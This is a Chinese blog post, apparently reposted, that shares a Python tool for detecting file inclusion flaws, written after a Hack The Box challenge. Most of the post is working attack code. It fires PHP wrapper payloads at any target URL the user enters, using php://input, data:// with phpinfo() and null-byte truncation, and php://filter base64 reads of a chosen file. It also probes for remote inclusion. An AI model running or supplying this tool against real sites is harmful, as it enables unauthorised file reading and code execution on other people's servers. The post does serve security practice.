前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >python打造文件包含漏洞检测工具

python打造文件包含漏洞检测工具

作者头像
用户7886150
修改2021-01-13 14:28:46
5570
修改2021-01-13 14:28:46
举报
文章被收录于专栏:bit哲学院bit哲学院

参考链接: Python str.format()中的漏洞

0x00前言: 

 做Hack the box的题。感觉那个平台得开个VIp 

 不然得凉。一天只能重置一次。。。mmp 

 做的那题毒药是文件包含漏洞的题,涉及到了某个工具 

 看的不错就开发了一个。 

 0x01代码: 

  import requests

import threading

import os

import time

import sys

cookies={}

urls=input('Please enter the target:')

user=input('Enter the file you want to read:')

user2=input('Enter your cookie:')

for lie in user2.split(';'):

    key,value=lie.split('=',1)

    cookies[key]=value

payload='php://input'

payload2='data:text/plain,<?php phpinfo();?>%00'

payload2s='data:text/plain,<?php phpinfo();?>'

payload3='php://filter/read=convert.base64-encode/resource={}'.format(user)

error=['404','Not Found','Warning','不存在','找不到','防火墙','安全狗','云锁']

def exploitone(user):

    headers={'user-agent':'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; AcooBrowser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)'}

    url=user

    pocone=url+payload

    poctwo=url+payload2

    pocsan=url+payload3

    pocsi=url+payload2s

    request=requests.get(url=pocone,headers=headers,cookies=cookies)

    request2=requests.get(url=poctwo,headers=headers,cookies=cookies)

    request3=requests.get(url=pocsan,headers=headers,cookies=cookies)

    request4=requests.get(url=pocsi,headers=headers,cookies=cookies)

    ok=[]

    for e in error:

        if request.status_code==200:

            if e in str(request.text):

                print('[-]Php://input protocol does not support')

            else:

                ok.append('[+]Support php://input protocol Poc:{}'.format(request.url))

        if request2.status_code==200:

            if e in str(request2.text):

                print('[-]Data:// protocol that does not support%00 truncation')

            else:

                ok.append('[+]Data:// protocol that supports%00 truncation Poc2:{}'.format(request2.url))

        if request3.status_code==200:

            if e in str(request3.text):

                print('[-]Do not support the use of php://filter/read=convert.base64-encode/resource=')

            else:

                ok.append('[+]Support php://filter/read=convert.base64-encode/resource= Poc3:{}'.format(request3.url))

        if request4.status_code==200:

            if e in str(request4.text):

                print('[-]Data:// protocol does not support')

            else:

                ok.append('[+]Support with data:// protocol Poc4:{}'.format(request4.url))

    if len(ok)>0:

        v=list(set(ok))

        for vv in v:

            print(vv)

exploitone(urls.rstrip())

def exploittwo():

    poc='http://www.baidu.com'

    url=urls.rstrip()+poc

    headers={'user-agent':'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; AcooBrowser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)'}

    request2=requests.get(url=url,headers=headers,cookies=cookies)

    yuan=[]

    for e in error:

        if request2.status_code==200:

            if e in str(request2.text):

                print('[-]Remote inclusion failure')

            else:

                yuan.append('[+]Allow remote inclusion poc:{}'.format(request2.url))

    if len(yuan)>0:

        s=list(set(yuan))

        for b in s:

            print(b)

exploittwo() 

 测试: 

  思路: 

 先检测各种协议,然后测试远程包含漏洞 

 原本还有一个检测路径的,但是跑起来太慢。

转载于:https://www.cnblogs.com/haq5201314/p/9192535.html

本文系转载,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文系转载前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档